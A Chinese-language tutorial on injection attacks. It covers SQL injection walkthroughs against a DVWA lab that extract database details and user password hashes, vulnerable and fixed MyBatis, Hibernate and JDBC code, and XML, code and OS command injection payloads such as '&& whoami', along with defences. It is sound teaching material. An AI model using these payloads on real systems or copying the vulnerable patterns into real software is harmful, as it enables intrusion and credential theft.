注入攻击是Web安全领域中一种最为常见的攻击方式。XSS本质上也是一种针对HTML的注入攻击。注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。 解决注入攻击的核心思想:“数据与代码分离”原则。
原因:
在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:
OWASP靶机平台:192.168.200.100 登录用户信息以及访问的URL信息,会在该虚拟机启动时显示。
所谓“盲注 ”,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。
最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。比如在DVWA靶机平台,输入1’ and 1=1#显示存在,输入1’ and 1=2# 显示不存在,由此可立即判断漏洞存在。
(1)先输入 1 ,查看回显 (URL中ID=1,说明页面通过get方法传递参数):
http://192.168.200.100/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
//源代码
$getid = "SELECT first_name, last_name FROM users WHERE
user_id = '$id'";
(2)输入 1' order by 1# 和 1' order by 2# 时都返回正常,当输入 1' orderby 3#时,返回错误:
Unknown column '3' in 'order clause'
(3)使用 union select联合查询继续获取信息
union 运算符可以将两个或两个以上 select 语句的查询结果集合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2。
输入1' union select database(),user()# 进行查询 :
# 输入框
1' union select database(),user()#'
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'
ID: 1' union select database(),user()#'
First name: admin
Surname: admin
ID: 1' union select database(),user()#'
First name: dvwa
Surname: dvwa@localhost
通过上图返回信息,我们成功获取到:
(4)同理我们再输入 1' union select version(),@@version_compile_os# 进行查询:
# 输入框
1' union select version(),@@version_compile_os#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#
ID: 1' union select version(),@@version_compile_os#
First name: admin
Surname: admin
ID: 1' union select version(),@@version_compile_os#
First name: 5.1.41-3ubuntu12.6-log
Surname: debian-linux-gnu
(5)接下来我们尝试获取 dvwa 数据库中的表名。information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息:如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
# 输入框
1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
结果:
ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
First name: admin
Surname: admin
ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
First name: guestbook
Surname: dvwa
ID: 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
First name: users
Surname: dvwa
通过上图返回信息,我们再获取到:
(6)尝试获取重量级的用户名、密码
由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users# 进行查询:
# 输入框
1' union select user,password from users#
# 生成SQL
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#
ID: 1' union select user,password from users#
First name: admin
Surname: admin
ID: 1' union select user,password from users#
First name: admin
Surname: 21232f297a57a5a743894a0e4a801fc3
ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' union select user,password from users#
First name: user
Surname: ee11cbb19052e40b07aac0ca060c23ee
可以看到成功爆出用户名、密码,密码采用 MD5进行加密,可以到www.cmd5.com进行解密。
Mybatis:
(1) Java生态中很常用的持久层框架Mybatis就能很好的完成对SQL注入的预防,如下两个mapper文件,前者就可以预防,而后者不行。
${ }:单纯替代,纯粹的将参数传进去,没有做任何的转义操作和预编译。
- <select id="selectByNameAndPassword"
- parameterType="java.util.Map" resultMap="BaseResultMap">
- select id, username, password, role
- from user
- where username = #{username,jdbcType=VARCHAR}
- and password = #{password,jdbcType=VARCHAR}
- select>
- <select id="selectByNameAndPassword"
- parameterType="java.util.Map" resultMap="BaseResultMap">
- select id, username, password, role
- from user
- where username = ${username,jdbcType=VARCHAR}
- and password = ${password,jdbcType=VARCHAR}
- select>
#{ }:Mybatis会通过预编译机制生成PreparedStatement参数,然后在安全的给参数进行赋值操作
- <select id="getPerson" parameterType="string"
- resultType="org.application.vo.Person">
- SELECT * FROM PERSON WHERE NAME = #{name} AND PHONE LIKE '${phone}';
- select>
首先,这是一种不全的用法,注意上面的参数修符号${phone} ,使用${}参数占位修饰符,MyBatis不会对字符串做任何修改,而是直接插入到SQL语句中。
Hibernate:
- usernameString//前台输入的用户名
- passwordString//前台输入的密码
- //hql语句
- String queryString = "from User t where t.username= " + usernameString + " and t.password="+ passwordString;
- //执行查询
- List result = session.createQuery(queryString).list();
建议使用参数绑定:named parameter:
- usernameString // 前台输入的用户名
- passwordString // 前台输入的密码
- // hql语句
- String queryString = "from User t where t.username:usernameString and t.password:passwordString";
- // 执行查询
- List result=session.createQuery(queryString)
- .setString("usernameString ", usernameString)
- .setString("passwordString", passwordString)
- .list();
positional parameter:
- usernameString//前台输入的用户名
- passwordString//前台输入的密码
- //hql语句
- String queryString = "from User t where t.username=? and t.password=?";
- //执行查询
- List result = session.createQuery(queryString)
- .setString(0, usernameString )
- .setString(1, passwordString)
- .list();
JDBC:
- Connection conn = DriverManager.getConnection(url,user,password);
- String sql = "select * from product where name like '%" + request.getParameter("pname")+"%''" ;
- Statement statement = conn.createStatement();
- ResultSet rs = stat.executeQuery(sql);
解决方案:
使用预处理执行SQL语句,对所有传入SQL语句中的变量做绑定,这样用户拼接进来的变量无论内容是什么,都会被当做替代符号 “ ?”所替代的值,数据库也不会把恶意用户拼接进来的数据,当做部分SQL语句去解析。
无论使用了哪个ORM框架,都会支持用户自定义拼接语句,经常有人误解Hibernate,其实Hibernate也支持用户执行JDBC查询,并且支持用户把变量拼接到SQL语句中。
XML注入是将用户录入的信息作为XML节点。
除了SQL注入外,在Web安全领域还有其他的注入攻击,这些注入攻击都有相同的特点,就是应用违背了 “数据与代码分离”原则。
和 SQL 注入原理一样,XML 是存储数据的地方,如果在查询或修改时,如果没有做转义,直接输入或输出数据,都将导致 XML 注入漏洞。攻击者可以修改XML 数据格式,增加新的 XML 节点,对数据处理流程产生影响。如果用户构造了恶意输入数据,就有可能形成注入攻击。
- // userData是准备保存的XML数据,接受了name和email两个用户提交的数据
- String userData = "
" + - "
" + - request.getParameter("name")+
- ""+
- "
" + - request.getParameter("email")+
- ""
- ""
- // 保存XML数据
- userDao.save(userData);
比如用户输入的数据如下:
- user1
- user1@lagou.comemail>USER><USER><name>user2name>
- <email>user2@lagou.com
最终生成的XML文件里被插入一条数据:
- <USER>
- <name>user1name>
- <email>user1@lagou.comemail>
- USER>
- <USER>
- <name>user2name>
- <email>user2@lagou.comemail>
- USER>
XML注入,也需要满足注入攻击的两大条件:
在修补方案上,与HTML注入的修补方案也是类似的,在XML保存和展示前,对数据部分,单独做XML escape,如下所示:
- String userData = "
" + - "name>"+StringUtil.xmlEncode(request.getParameter("name"))+
- ""+
- "
" + - StringUtil.xmlEncode(request.getParameter("email"))+
- ""+
- "";
转义规则
lt - <
gt - >
amp - &
apos - \'
quot - "
Code injection,代码注入攻击。web 应用代码中,允许接收用户输入一段代码,之后在 web 应用服务器上执行这段代码,并返回给用户。由于用户可以自定义输入一段代码,在服务器上执行,所以恶意用户可以写一个远程控制木马,直接获取服务器控制权限,所有服务器上的资源都会被恶意用户获取和修改,甚至可以直接控制数据库。代码注入比较特别一点。
代码注入往往是由一些不安全的函数或者方法引起的,其中的典型代表就是eval()
- public static void main(String[] args) {
- // 在Java中也可以实施代码注入,比如利用Java的脚本引擎。
- ScriptEngineManager manager = new ScriptEngineManager();
- // 获得JS引擎对象
- ScriptEngine engine = manager.getEngineByName("JavaScript");
- try {
- // 用户录入
- String param = "hello";
- String command = "print('" + param + "')";
- // 调用JS中的eval方法
- engine.eval(command);
- } catch (ScriptException e) {
- e.printStackTrace();
- }
- }
参数param的值由用户指定并传入,攻击者可以提交如下数据:
hello'); var fImport = new JavaImporter(java.io.File);
with(fImport) { var f = new File('new'); f.createNewFile(); }
解决方案:
对抗代码注入,需要禁止使用eval()等可以执行命令的函数,如果一定要使用这些函数,则需要对用户的输入数据进行处理。比如:执行代码的参数,或文件名,禁止和用户输入相关,只能由开发人员定义代码内容,用户只能提交 “1、2、3” 参数,代表相应代码。
代码注入往往是由于不安全的编程习惯所造成的,危险函数应该尽量避免在开发中使用,可以在开发规范中明确指出哪些函数是禁止使用的。
OS命令注入(Operating System Command injection 操作系统命令注入或简称命令注入)是一种注入漏洞。攻击者注入的有效负载将作为操作系统命令执行。仅当Web应用程序代码包括操作系统调用并且调用中使用了用户输入时,才可能进行OS命令注入攻击。
当您确定了OS命令注入漏洞后,通常可以执行一些初始命令来获取有关受到破坏的系统的信息。以下是在Linux和Windows平台上有用的一些命令的摘要:
比如应用程序的开发人员希望用户能够在Web应用程序中查看Windows ping命令的输出。用户需要输入IP地址,然后应用程序将ICMP ping发送到该地址。不幸的是,开发人员过分信任用户,并且不执行输入验证。使用该GET 方法传递IP地址,然后在命令行中使用。
127.0.0.1
127.0.0.1 && whoami
127.0.0.1 && ps -ef
防护方案:
到目前为止,防止OS命令注入漏洞的最有效方法是永远不要从应用程序层代码中调用OS命令。几乎在每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。如果认为无法通过用户提供的输入调出OS命令,则必须执行强大的输入验证。有效验证的一些示例包括: